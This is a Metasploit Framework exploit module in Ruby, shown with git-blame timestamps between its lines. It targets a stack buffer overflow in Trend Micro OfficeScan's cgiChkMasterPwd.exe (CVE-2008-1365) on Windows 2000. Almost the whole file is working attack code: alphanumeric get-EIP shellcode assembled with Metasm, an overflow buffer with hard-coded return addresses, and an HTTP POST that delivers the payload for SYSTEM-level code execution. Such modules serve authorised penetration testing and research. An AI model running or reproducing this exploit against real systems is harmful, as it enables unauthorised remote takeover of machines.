2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
|
2007-09-09 22:56:35 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'metasm'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2007-09-09 22:56:35 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2007-09-09 22:56:35 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2010-05-09 17:45:00 +00:00
|
|
|
'Name' => 'Trend Micro OfficeScan Remote Stack Buffer Overflow',
|
2007-09-09 22:56:35 +00:00
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Trend Micro OfficeScan
|
2007-09-09 22:56:35 +00:00
|
|
|
cgiChkMasterPwd.exe (running with SYSTEM privileges).
|
|
|
|
},
|
|
|
|
'Author' => [ 'toto' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-09-10 01:01:20 +00:00
|
|
|
'Version' => '$Revision$',
|
2007-09-09 22:56:35 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-10-12 14:39:51 +00:00
|
|
|
[ 'CVE', '2008-1365' ],
|
|
|
|
[ 'OSVDB', '42499' ],
|
2007-09-09 22:56:35 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'MinNops' => 0,
|
|
|
|
'MaxNops' => 0,
|
2012-04-16 18:42:32 +00:00
|
|
|
#'Space' => 498,
|
2007-09-09 22:56:35 +00:00
|
|
|
'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
|
|
|
|
# clean up to prevent crash on exit
|
|
|
|
'Prepend' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "mov dword ptr fs:[0], 0").encode_string,
|
|
|
|
'EncoderOptions' =>
|
|
|
|
{
|
|
|
|
'BufferRegister' => 'ECX',
|
|
|
|
},
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2007-09-09 22:56:35 +00:00
|
|
|
[
|
|
|
|
# return addresses need to be alphanumeric (here in loadhttp data section)
|
|
|
|
[ 'Windows 2000 - Trend Micro OfficeScan 7.3.0.1293)', { 'Rets' => [0x63613035, 0x63613032] } ],
|
|
|
|
],
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Jun 28 2007',
|
2007-09-09 22:56:35 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080),
|
|
|
|
], self.class)
|
2007-09-09 22:56:35 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2010-04-30 08:40:19 +00:00
|
|
|
geip_src = "
|
2007-09-09 22:56:35 +00:00
|
|
|
push esi
|
|
|
|
push esp
|
|
|
|
pop eax
|
|
|
|
xor esi, [eax]
|
|
|
|
push esi
|
|
|
|
pop eax
|
|
|
|
xor eax, got_eip
|
|
|
|
push eax
|
|
|
|
pop ecx
|
|
|
|
got_eip:
|
|
|
|
"
|
|
|
|
|
|
|
|
sc = Metasm::Shellcode.assemble(Metasm::Ia32.new, geip_src)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-09-09 22:56:35 +00:00
|
|
|
sc.base_addr = target['Rets'][0]
|
|
|
|
get_eip = sc.encode_string
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-09-09 22:56:35 +00:00
|
|
|
pat = Rex::Text.rand_text_alphanumeric(1016)
|
|
|
|
|
|
|
|
pat[0, get_eip.length] = get_eip
|
|
|
|
pat[14, payload.encoded.length] = payload.encoded
|
|
|
|
pat[512, 4] = [target['Rets'][1]].pack('V') # string pointer (to prevent a crash)
|
|
|
|
pat[524, 4] = [target['Rets'][0]].pack('V') # sets EIP to the address where the shellcode has been copied
|
|
|
|
pat[540, 4] = [target['Rets'][0]-1].pack('V') # shellcode will be copied at this address (+1)
|
|
|
|
|
|
|
|
data = "TMlogonEncrypted=!CRYPT!" + pat
|
|
|
|
len = sprintf("%u", data.length);
|
|
|
|
|
|
|
|
print_status("Trying target address 0x%.8x..." % target['Rets'][0])
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/officescan/console/cgi/cgiChkMasterPwd.exe',
|
|
|
|
'method' => 'POST',
|
|
|
|
'content-type' => 'application/x-www-form-urlencoded',
|
|
|
|
'data' => data,
|
|
|
|
}, 5)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-09-09 22:56:35 +00:00
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
2009-10-12 14:39:51 +00:00
|
|
|
end
|